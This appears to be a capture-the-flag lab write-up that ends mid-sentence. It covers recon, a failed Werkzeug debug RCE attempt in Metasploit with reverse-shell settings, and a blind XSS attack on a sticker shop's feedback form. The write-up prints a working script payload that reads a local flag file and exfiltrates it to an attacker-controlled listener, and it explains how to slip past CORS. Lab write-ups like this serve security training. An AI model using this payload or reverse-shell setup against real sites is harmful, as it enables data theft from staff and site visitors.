Lab link.

Your local sticker shop has finally developed its own webpage. They do not have too much experience regarding web development, so they decided to develop and host everything on the same computer that they use for browsing the internet and looking at customer feedback. Smart move!

Can you read the flag at http://MACHINE_IP:8080/flag.txt?

Questions

1. What is the content of flag.txt?

Exploration of Server-Side Exploits Before Choosing XSS

To begin, I performed an Nmap scan on the target IP address (10.10.244.213) to identify open ports and services running on the server:

nmap -sV -sC 10.10.244.213

• Port 22 is active for SSH, allowing secure shell access.
• Port 8080 is serving a webpage built with Python’s Werkzeug framework. The page is accessible over HTTP.
• HTTP response suggests the website’s content is functional, with a “Cat Sticker Shop” title and basic HTML design.

In the second step, I tried to access the URL (http://10.10.244.213:8080/flag.txt) using the curl command to retrieve the content of the flag.txt file. However, the server returned a 401 Unauthorized error, indicating that authentication is required to access this resource.

Since I couldn’t access the flag.txt file due to the 401 Unauthorized error, my next step will be to perform a directory enumeration. This will help me find other directories or files on the server that might give me access to the flag or provide hints about authentication credentials. I’ll use tools like Dirb or Gobuster to scan the web server and uncover any hidden resources.

After deciding to perform directory enumeration, I downloaded SecLists to use its extensive wordlists. I cloned the repository using the following command:

git clone https://github.com/danielmiessler/SecLists.git

This gave me access to various wordlists for web content discovery, authentication, and more. I used the common.txt wordlist for this task. Next, I ran Gobuster with the SecLists wordlist to scan the target server for hidden directories and files. The command I used was:

gobuster dir -u http://10.10.244.213:8080 -w ./SecLists/Discovery/Web-Content/common.txt

This allowed me to uncover potential directories or files that might contain the flag.txt or provide information about authentication.

I ran Gobuster with the common.txt wordlist against the target URL (http://10.10.244.213:8080/) to find hidden directories and files. The scan completed successfully, testing a total of 4,738 paths. However, no new directories or files were discovered. All tested paths returned a 404 Not Found status.

We attempted to exploit the Werkzeug Debug RCE vulnerability using the Metasploit Framework. The goal was to execute remote code on the target server and retrieve the flag.txt file.

• Started Metasploit Framework
  Launched Metasploit with the msfconsole command. Searched for the Werkzeug Debug RCE exploit using:
  search werkzeug
• Selected the exploit module
  use exploit/multi/http/werkzeug_debug_rce
• Set the RHOSTS (Target IP) and RPORT (Target Port):
  set RHOSTS 10.10.244.213
  set RPORT 8080
• Configured the payload for a reverse shell:
  set PAYLOAD python/meterpreter/reverse_tcp
  set LHOST 10.10.155.215
  set LPORT 4444
• Verified the TARGETURI:
  set TARGETURI /
• Ran the exploit with the command:
  exploit

The exploit failed with the error:

We attempted to rerun the exploit with adjusted parameters (e.g., TARGETURI), but the same error persisted.

Deciding to Attempt XSS Based on the Question Hint

After reviewing the provided hint:

Can you conduct any client-side exploitation in order to read the flag?

we realized that the challenge likely requires client-side exploitation. This pointed us towards investigating potential vulnerabilities in the web application that could allow us to execute malicious JavaScript code on the client side.

Given the structure of the website, we focused on the Feedback Form, which accepts user input. Forms like this are common entry points for Cross-Site Scripting (XSS) attacks.

We hypothesized that the Feedback Form might be vulnerable to Blind XSS, where injected JavaScript code gets executed in the browser of another user (e.g., a staff member checking feedback). This could potentially give us access to sensitive information like the flag located at /flag.txt.

Step 1: Setting Up a Listener

The first step is to create a listener to capture data exfiltrated by the XSS payload. We used Netcat to start a server that listens for incoming POST requests.

sudo nc -lvnp 8000

Step 2: Crafting the Payload

The XSS payload is designed to:

• Fetch the content of flag.txt from the target server (127.0.0.1:8080).
• Send the retrieved data to our Netcat listener via a POST request.

<script>
  fetch('http://127.0.0.1:8080/flag.txt')
    .then(response => response.text())
    .then(data => {
      new Image().src = 'http://<YOUR-IP-ADDRESS>:8000/?flag=' + encodeURIComponent(data);
    });
</script>

Why Use new Image()?
new Image() is a JavaScript technique often used to bypass CORS (Cross-Origin Resource Sharing) restrictions when exfiltrating data from a vulnerable web application. Unlike fetch or XMLHttpRequest, it does not trigger a CORS preflight request because it’s not designed for complex HTTP operations like POST. Instead, it uses a simple GET request to load an image.

Step 3: Injecting the Payload

1. Navigate to the feedback form on the target application.
   • URL: http://:8080/submit_feedback
2. Paste the payload into the input field of the form.
3. Submit the form to inject the payload.

The payload reads the flag from the target server and sends it to the attacker’s controlled machine with a GET request: